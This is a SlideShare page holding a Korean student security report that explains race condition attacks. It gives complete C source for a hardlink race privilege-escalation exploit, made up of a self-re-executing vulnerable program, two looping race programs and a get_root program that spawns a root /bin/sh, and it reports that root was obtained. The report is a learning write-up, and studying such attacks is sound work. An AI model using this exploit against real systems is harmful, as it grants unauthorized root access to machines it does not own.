SlideShare a Scribd company logo
1 of 6
Download to read offline
Race Condition 보고서




    BOB 1기 육승찬




       - 1 -
Content


1. What is Race Condition ? ·······································3


2. Race Condition Story1 ……………………………………3


3. Race Condition Story2 ……………………………………3


4. Race Condition Story3 ……………………………………4


5. Race Condition Story4 ……………………………………4


6. Race Condition Story5 ……………………………………4


7. Real Race Condition ···············································5-6


8. Result of Race Condition ………………………………6




                                 - 2 -
1. What is Race Condition


Race Condition
≫ 자원을 동시에 사용하려는 프로세스들이 자원 사용을 하기 위해 프로세
스들이 경쟁을 하는 것.


Race Condition Attack
≫ 프로세스들이 경쟁 하는 것을 이용하여 관리자 권한을 얻는 공격 방법.




2. Race Condition Story


Story 1
≫ root권한의 실행하면 자신이 존재하고 있는 위치를 얻어서 다시 한 번 실
행키는 프로그램 있다.
                            ·
                            ·
                            ·
Story 2
≫ 만약 프로그램을 심볼릭링크 또는 하드링크를 이용하여 만들고 실행 했
을 때, 위치를 얻는 순간에 링크한 파일을 삭제하고 /bin/sh를 실행하는 프
로그램을 같은 이름으로 만든다면 root권한 상태에서 바뀐 파일을 실행하게
된다.
                            ·
                            ·
                            ·




                          - 3 -
Story 3
≫ 앞에서 말한 자신의 위치를 얻어와 다시 실행하는 파일을 vuln 이라 하
고, setuid을 사용하기 위해 root권한을 필요로 하는 파일을 get_root이라 할
다. 그 다음, 무한히 vuln파일과 get_root파일을 race라는 파일로 링크로 반
복 시도하는 프로그램 race1과, race라는 파일을 무한히 실행하도록 하는 프
로그램 race2를 작성한다.(단 파일이 이미 존재하더라도 강제로 링크를 걸도
록 함)·

                              ·
                              ·
                              ·
Story 4
≫ race1을 background로 실행하고 race2를 동시에 실행 하였을 때, 아래
순서 실행이 될 것이다.
1. vuln → race 실행
2. race 삭제 후 get_root -> race 링크 생성
3. vuln → race 프로그램은 다시 자기 자신을 실행
4. 바뀐 race를 실행
                              ·
                              ·
                              ·
Story 5
≫ 결국 두 프로그램은 서로 경쟁하고 있다. 이러한 상태를 Race Condition
이라 한다!




                            - 4 -
3. Real Race Condition
 vuln.c
 int readlink(const char *path, char *buf, size_t bufsize);
 ≫ readlink 는 원본파일의 완전한 경로를 가져온다.
 int execve (const char *filename, char *const argv [], char *const envp[]);
 ≫ execve()는 파일명에 의해 지정된 프로그램을 실행한다.
 #include <unistd.h>
 int main(int argc, char **argv, char **envp)
 {
          char buf[4096];
          if ( argc < 2 )
          {
                      if (readlink("/proc/self/exe", buf, sizeof(buf)) < 0) return 1;
                      char *args[] = { buf, "1", 0 };
                      if (execve(args[0], args, 0) < 0) return 1;
          }
          return 0;
 }


 race1.c
 #include <stdio.h>
 #include <unistd.h>
 int main(int agrc, char **argv){
          while(1){
                      system("ln -f vuln race; ln -f get_root race ");


          }
          return 0;
 }
 race2.c
 #include <unistd.h>


 int main(int argc, char **argv){
          while(1){
                      system("./race");
          }
          return 0;



                                               - 5 -
}



 get_root.c
 #include <unistd.h>
 #include <stdio.h>


 int main(int argc, char **argv){
         if(geteuid() == 0 ) {
                  setuid(geteuid());
                  char *args[] = {"/bin/sh",0};
                  execve(args[0],args,0);
         }else{
                  exit(1);
         }
         return 0;
 }




4. Result of Race Condition
≫ 실제로 레이스컨디션을 적용시켜 root권한을 얻을 수 있었다!
이전의 레이스컨디션을 알고 있긴 했지만 시도를 해 본적이 오래 됐었는데
다시 기억할 수 있는 좋은 기회였고 전보다 더 확실히 알게 된 것 같다.




                                            - 6 -

More Related Content

What's hot

Net work study
Net work studyNet work study
Net work study경 송
 
(참고) Elk stack 설치 및 kafka
(참고) Elk stack 설치 및 kafka(참고) Elk stack 설치 및 kafka
(참고) Elk stack 설치 및 kafkaNoahKIM36
 
Christmas CTF 보안대회 수상팀 문제풀이서(팀명:구운순살치즈치킨)
Christmas CTF 보안대회 수상팀 문제풀이서(팀명:구운순살치즈치킨)Christmas CTF 보안대회 수상팀 문제풀이서(팀명:구운순살치즈치킨)
Christmas CTF 보안대회 수상팀 문제풀이서(팀명:구운순살치즈치킨)NAVER D2
 
PostgreSql vaccum
PostgreSql vaccumPostgreSql vaccum
PostgreSql vaccum승범 현
 
Redis From 2.8 to 4.x
Redis From 2.8 to 4.xRedis From 2.8 to 4.x
Redis From 2.8 to 4.xDaeMyung Kang
 
Pyspark Demo1,Demo2 정리
Pyspark Demo1,Demo2 정리Pyspark Demo1,Demo2 정리
Pyspark Demo1,Demo2 정리민기 박
 
[2010 CodeEngn Conference 04] hahah - Defcon 18 CTF 문제풀이
[2010 CodeEngn Conference 04] hahah - Defcon 18 CTF 문제풀이[2010 CodeEngn Conference 04] hahah - Defcon 18 CTF 문제풀이
[2010 CodeEngn Conference 04] hahah - Defcon 18 CTF 문제풀이GangSeok Lee
 
리눅스 간단 강의 4강
리눅스 간단 강의 4강리눅스 간단 강의 4강
리눅스 간단 강의 4강Junsu Kim
 
리눅스 간단 강의 2강
리눅스 간단 강의 2강리눅스 간단 강의 2강
리눅스 간단 강의 2강Junsu Kim
 
Redis basicandroadmap
Redis basicandroadmapRedis basicandroadmap
Redis basicandroadmapDaeMyung Kang
 
커맨드 라인 도구 활용하기 - zsh + oh-my-zsh, tmux, peco
커맨드 라인 도구 활용하기 - zsh + oh-my-zsh, tmux, peco커맨드 라인 도구 활용하기 - zsh + oh-my-zsh, tmux, peco
커맨드 라인 도구 활용하기 - zsh + oh-my-zsh, tmux, pecoDaegwon Kim
 
A review of zookeeper 2010.12
A review of zookeeper 2010.12A review of zookeeper 2010.12
A review of zookeeper 2010.12HoJin Ha
 
Node js[stg]onimusha 20140822
Node js[stg]onimusha 20140822Node js[stg]onimusha 20140822
Node js[stg]onimusha 20140822병헌 정
 
카산드라를 설치해서 테스트 해보자 with virtualbox
카산드라를 설치해서 테스트 해보자 with virtualbox카산드라를 설치해서 테스트 해보자 with virtualbox
카산드라를 설치해서 테스트 해보자 with virtualbox떠리 이
 
제로부터시작하는Git
제로부터시작하는Git제로부터시작하는Git
제로부터시작하는GitMario Cho
 
Cassandra 멘붕기 | Devon 2012
Cassandra 멘붕기 | Devon 2012Cassandra 멘붕기 | Devon 2012
Cassandra 멘붕기 | Devon 2012Daum DNA
 
[OpenTRS-001] LCARS000
[OpenTRS-001] LCARS000[OpenTRS-001] LCARS000
[OpenTRS-001] LCARS000Theori
 
파이썬 웹프로그래밍 1탄
파이썬 웹프로그래밍 1탄 파이썬 웹프로그래밍 1탄
파이썬 웹프로그래밍 1탄 SeongHyun Ahn
 

What's hot (20)

Net work study
Net work studyNet work study
Net work study
 
(참고) Elk stack 설치 및 kafka
(참고) Elk stack 설치 및 kafka(참고) Elk stack 설치 및 kafka
(참고) Elk stack 설치 및 kafka
 
Christmas CTF 보안대회 수상팀 문제풀이서(팀명:구운순살치즈치킨)
Christmas CTF 보안대회 수상팀 문제풀이서(팀명:구운순살치즈치킨)Christmas CTF 보안대회 수상팀 문제풀이서(팀명:구운순살치즈치킨)
Christmas CTF 보안대회 수상팀 문제풀이서(팀명:구운순살치즈치킨)
 
PostgreSql vaccum
PostgreSql vaccumPostgreSql vaccum
PostgreSql vaccum
 
Redis From 2.8 to 4.x
Redis From 2.8 to 4.xRedis From 2.8 to 4.x
Redis From 2.8 to 4.x
 
Pyspark Demo1,Demo2 정리
Pyspark Demo1,Demo2 정리Pyspark Demo1,Demo2 정리
Pyspark Demo1,Demo2 정리
 
[2010 CodeEngn Conference 04] hahah - Defcon 18 CTF 문제풀이
[2010 CodeEngn Conference 04] hahah - Defcon 18 CTF 문제풀이[2010 CodeEngn Conference 04] hahah - Defcon 18 CTF 문제풀이
[2010 CodeEngn Conference 04] hahah - Defcon 18 CTF 문제풀이
 
리눅스 간단 강의 4강
리눅스 간단 강의 4강리눅스 간단 강의 4강
리눅스 간단 강의 4강
 
리눅스 간단 강의 2강
리눅스 간단 강의 2강리눅스 간단 강의 2강
리눅스 간단 강의 2강
 
Redis basicandroadmap
Redis basicandroadmapRedis basicandroadmap
Redis basicandroadmap
 
커맨드 라인 도구 활용하기 - zsh + oh-my-zsh, tmux, peco
커맨드 라인 도구 활용하기 - zsh + oh-my-zsh, tmux, peco커맨드 라인 도구 활용하기 - zsh + oh-my-zsh, tmux, peco
커맨드 라인 도구 활용하기 - zsh + oh-my-zsh, tmux, peco
 
A review of zookeeper 2010.12
A review of zookeeper 2010.12A review of zookeeper 2010.12
A review of zookeeper 2010.12
 
Node js[stg]onimusha 20140822
Node js[stg]onimusha 20140822Node js[stg]onimusha 20140822
Node js[stg]onimusha 20140822
 
Docker설치
Docker설치Docker설치
Docker설치
 
Ffmpeg for android
Ffmpeg for androidFfmpeg for android
Ffmpeg for android
 
카산드라를 설치해서 테스트 해보자 with virtualbox
카산드라를 설치해서 테스트 해보자 with virtualbox카산드라를 설치해서 테스트 해보자 with virtualbox
카산드라를 설치해서 테스트 해보자 with virtualbox
 
제로부터시작하는Git
제로부터시작하는Git제로부터시작하는Git
제로부터시작하는Git
 
Cassandra 멘붕기 | Devon 2012
Cassandra 멘붕기 | Devon 2012Cassandra 멘붕기 | Devon 2012
Cassandra 멘붕기 | Devon 2012
 
[OpenTRS-001] LCARS000
[OpenTRS-001] LCARS000[OpenTRS-001] LCARS000
[OpenTRS-001] LCARS000
 
파이썬 웹프로그래밍 1탄
파이썬 웹프로그래밍 1탄 파이썬 웹프로그래밍 1탄
파이썬 웹프로그래밍 1탄
 

Similar to Race condition

Linux Kernel Boot Process , SOSCON 2015, By Mario Cho
Linux Kernel Boot Process , SOSCON 2015, By Mario ChoLinux Kernel Boot Process , SOSCON 2015, By Mario Cho
Linux Kernel Boot Process , SOSCON 2015, By Mario ChoMario Cho
 
Sha 2017-teaser-round website attack writeup
Sha 2017-teaser-round website attack writeupSha 2017-teaser-round website attack writeup
Sha 2017-teaser-round website attack writeupSeungyong Lee
 
파이썬 스터디 15장
파이썬 스터디 15장파이썬 스터디 15장
파이썬 스터디 15장SeongHyun Ahn
 
Javascript 조금 더 잘 알기
Javascript 조금 더 잘 알기Javascript 조금 더 잘 알기
Javascript 조금 더 잘 알기jongho jeong
 
Startup JavaScript 8 - NPM, Express.JS
Startup JavaScript 8 - NPM, Express.JSStartup JavaScript 8 - NPM, Express.JS
Startup JavaScript 8 - NPM, Express.JSCirculus
 
Openstack live migration
Openstack live migrationOpenstack live migration
Openstack live migrationymtech
 
도커없이 컨테이너 만들기 1편
도커없이 컨테이너 만들기 1편도커없이 컨테이너 만들기 1편
도커없이 컨테이너 만들기 1편Sam Kim
 
Javascript 실행 가능한 코드(Executable Code)와 실행 콘텍스트(Execution Context), Lexical En...
Javascript 실행 가능한 코드(Executable Code)와 실행 콘텍스트(Execution Context), Lexical En...Javascript 실행 가능한 코드(Executable Code)와 실행 콘텍스트(Execution Context), Lexical En...
Javascript 실행 가능한 코드(Executable Code)와 실행 콘텍스트(Execution Context), Lexical En...Young-Beom Rhee
 
Java mentoring of samsung scsc 2
Java mentoring of samsung scsc   2Java mentoring of samsung scsc   2
Java mentoring of samsung scsc 2도현 김
 
ffmpeg optimization using CUDA
ffmpeg optimization using CUDAffmpeg optimization using CUDA
ffmpeg optimization using CUDAyyooooon
 
리눅스 커널 기초 태스크관리
리눅스 커널 기초 태스크관리리눅스 커널 기초 태스크관리
리눅스 커널 기초 태스크관리Seungyong Lee
 
Node.js and react
Node.js and reactNode.js and react
Node.js and reactHyungKuIm
 
Android+init+process
Android+init+processAndroid+init+process
Android+init+processHong Jae Kwon
 
헤테로지니어스 컴퓨팅 : CPU 에서 GPU 로 옮겨가기
헤테로지니어스 컴퓨팅 :  CPU 에서 GPU 로 옮겨가기헤테로지니어스 컴퓨팅 :  CPU 에서 GPU 로 옮겨가기
헤테로지니어스 컴퓨팅 : CPU 에서 GPU 로 옮겨가기zupet
 
Angular2 가기전 Type script소개
 Angular2 가기전 Type script소개 Angular2 가기전 Type script소개
Angular2 가기전 Type script소개Dong Jun Kwon
 
[Td 2015]녹슨 c++ 코드에 모던 c++로 기름칠하기(옥찬호)
[Td 2015]녹슨 c++ 코드에 모던 c++로 기름칠하기(옥찬호)[Td 2015]녹슨 c++ 코드에 모던 c++로 기름칠하기(옥찬호)
[Td 2015]녹슨 c++ 코드에 모던 c++로 기름칠하기(옥찬호)Sang Don Kim
 

Similar to Race condition (20)

Basic git-commands
Basic git-commandsBasic git-commands
Basic git-commands
 
Linux Kernel Boot Process , SOSCON 2015, By Mario Cho
Linux Kernel Boot Process , SOSCON 2015, By Mario ChoLinux Kernel Boot Process , SOSCON 2015, By Mario Cho
Linux Kernel Boot Process , SOSCON 2015, By Mario Cho
 
04 프로세스
04 프로세스04 프로세스
04 프로세스
 
Jdk 7 3-nio2
Jdk 7 3-nio2Jdk 7 3-nio2
Jdk 7 3-nio2
 
Sha 2017-teaser-round website attack writeup
Sha 2017-teaser-round website attack writeupSha 2017-teaser-round website attack writeup
Sha 2017-teaser-round website attack writeup
 
파이썬 스터디 15장
파이썬 스터디 15장파이썬 스터디 15장
파이썬 스터디 15장
 
Javascript 조금 더 잘 알기
Javascript 조금 더 잘 알기Javascript 조금 더 잘 알기
Javascript 조금 더 잘 알기
 
Startup JavaScript 8 - NPM, Express.JS
Startup JavaScript 8 - NPM, Express.JSStartup JavaScript 8 - NPM, Express.JS
Startup JavaScript 8 - NPM, Express.JS
 
Openstack live migration
Openstack live migrationOpenstack live migration
Openstack live migration
 
도커없이 컨테이너 만들기 1편
도커없이 컨테이너 만들기 1편도커없이 컨테이너 만들기 1편
도커없이 컨테이너 만들기 1편
 
Javascript 실행 가능한 코드(Executable Code)와 실행 콘텍스트(Execution Context), Lexical En...
Javascript 실행 가능한 코드(Executable Code)와 실행 콘텍스트(Execution Context), Lexical En...Javascript 실행 가능한 코드(Executable Code)와 실행 콘텍스트(Execution Context), Lexical En...
Javascript 실행 가능한 코드(Executable Code)와 실행 콘텍스트(Execution Context), Lexical En...
 
Java mentoring of samsung scsc 2
Java mentoring of samsung scsc   2Java mentoring of samsung scsc   2
Java mentoring of samsung scsc 2
 
06장 함수
06장 함수06장 함수
06장 함수
 
ffmpeg optimization using CUDA
ffmpeg optimization using CUDAffmpeg optimization using CUDA
ffmpeg optimization using CUDA
 
리눅스 커널 기초 태스크관리
리눅스 커널 기초 태스크관리리눅스 커널 기초 태스크관리
리눅스 커널 기초 태스크관리
 
Node.js and react
Node.js and reactNode.js and react
Node.js and react
 
Android+init+process
Android+init+processAndroid+init+process
Android+init+process
 
헤테로지니어스 컴퓨팅 : CPU 에서 GPU 로 옮겨가기
헤테로지니어스 컴퓨팅 :  CPU 에서 GPU 로 옮겨가기헤테로지니어스 컴퓨팅 :  CPU 에서 GPU 로 옮겨가기
헤테로지니어스 컴퓨팅 : CPU 에서 GPU 로 옮겨가기
 
Angular2 가기전 Type script소개
 Angular2 가기전 Type script소개 Angular2 가기전 Type script소개
Angular2 가기전 Type script소개
 
[Td 2015]녹슨 c++ 코드에 모던 c++로 기름칠하기(옥찬호)
[Td 2015]녹슨 c++ 코드에 모던 c++로 기름칠하기(옥찬호)[Td 2015]녹슨 c++ 코드에 모던 c++로 기름칠하기(옥찬호)
[Td 2015]녹슨 c++ 코드에 모던 c++로 기름칠하기(옥찬호)
 

More from Yuk SeungChan

Real-Time Messaging Platform - Pusher & pubnub
Real-Time Messaging Platform - Pusher & pubnubReal-Time Messaging Platform - Pusher & pubnub
Real-Time Messaging Platform - Pusher & pubnubYuk SeungChan
 
Function calling convention
Function calling conventionFunction calling convention
Function calling conventionYuk SeungChan
 

More from Yuk SeungChan (6)

Scala Class&object
Scala Class&objectScala Class&object
Scala Class&object
 
Real-Time Messaging Platform - Pusher & pubnub
Real-Time Messaging Platform - Pusher & pubnubReal-Time Messaging Platform - Pusher & pubnub
Real-Time Messaging Platform - Pusher & pubnub
 
Scala map&tuple
Scala map&tupleScala map&tuple
Scala map&tuple
 
Function calling convention
Function calling conventionFunction calling convention
Function calling convention
 
Stack frame
Stack frameStack frame
Stack frame
 
Openstack glance
Openstack glanceOpenstack glance
Openstack glance
 

Race condition

  • 1. Race Condition 보고서 BOB 1기 육승찬 - 1 -
  • 2. Content 1. What is Race Condition ? ·······································3 2. Race Condition Story1 ……………………………………3 3. Race Condition Story2 ……………………………………3 4. Race Condition Story3 ……………………………………4 5. Race Condition Story4 ……………………………………4 6. Race Condition Story5 ……………………………………4 7. Real Race Condition ···············································5-6 8. Result of Race Condition ………………………………6 - 2 -
  • 3. 1. What is Race Condition Race Condition ≫ 자원을 동시에 사용하려는 프로세스들이 자원 사용을 하기 위해 프로세 스들이 경쟁을 하는 것. Race Condition Attack ≫ 프로세스들이 경쟁 하는 것을 이용하여 관리자 권한을 얻는 공격 방법. 2. Race Condition Story Story 1 ≫ root권한의 실행하면 자신이 존재하고 있는 위치를 얻어서 다시 한 번 실 행키는 프로그램 있다. · · · Story 2 ≫ 만약 프로그램을 심볼릭링크 또는 하드링크를 이용하여 만들고 실행 했 을 때, 위치를 얻는 순간에 링크한 파일을 삭제하고 /bin/sh를 실행하는 프 로그램을 같은 이름으로 만든다면 root권한 상태에서 바뀐 파일을 실행하게 된다. · · · - 3 -
  • 4. Story 3 ≫ 앞에서 말한 자신의 위치를 얻어와 다시 실행하는 파일을 vuln 이라 하 고, setuid을 사용하기 위해 root권한을 필요로 하는 파일을 get_root이라 할 다. 그 다음, 무한히 vuln파일과 get_root파일을 race라는 파일로 링크로 반 복 시도하는 프로그램 race1과, race라는 파일을 무한히 실행하도록 하는 프 로그램 race2를 작성한다.(단 파일이 이미 존재하더라도 강제로 링크를 걸도 록 함)· · · · Story 4 ≫ race1을 background로 실행하고 race2를 동시에 실행 하였을 때, 아래 순서 실행이 될 것이다. 1. vuln → race 실행 2. race 삭제 후 get_root -> race 링크 생성 3. vuln → race 프로그램은 다시 자기 자신을 실행 4. 바뀐 race를 실행 · · · Story 5 ≫ 결국 두 프로그램은 서로 경쟁하고 있다. 이러한 상태를 Race Condition 이라 한다! - 4 -
  • 5. 3. Real Race Condition vuln.c int readlink(const char *path, char *buf, size_t bufsize); ≫ readlink 는 원본파일의 완전한 경로를 가져온다. int execve (const char *filename, char *const argv [], char *const envp[]); ≫ execve()는 파일명에 의해 지정된 프로그램을 실행한다. #include <unistd.h> int main(int argc, char **argv, char **envp) { char buf[4096]; if ( argc < 2 ) { if (readlink("/proc/self/exe", buf, sizeof(buf)) < 0) return 1; char *args[] = { buf, "1", 0 }; if (execve(args[0], args, 0) < 0) return 1; } return 0; } race1.c #include <stdio.h> #include <unistd.h> int main(int agrc, char **argv){ while(1){ system("ln -f vuln race; ln -f get_root race "); } return 0; } race2.c #include <unistd.h> int main(int argc, char **argv){ while(1){ system("./race"); } return 0; - 5 -
  • 6. } get_root.c #include <unistd.h> #include <stdio.h> int main(int argc, char **argv){ if(geteuid() == 0 ) { setuid(geteuid()); char *args[] = {"/bin/sh",0}; execve(args[0],args,0); }else{ exit(1); } return 0; } 4. Result of Race Condition ≫ 실제로 레이스컨디션을 적용시켜 root권한을 얻을 수 있었다! 이전의 레이스컨디션을 알고 있긴 했지만 시도를 해 본적이 오래 됐었는데 다시 기억할 수 있는 좋은 기회였고 전보다 더 확실히 알게 된 것 같다. - 6 -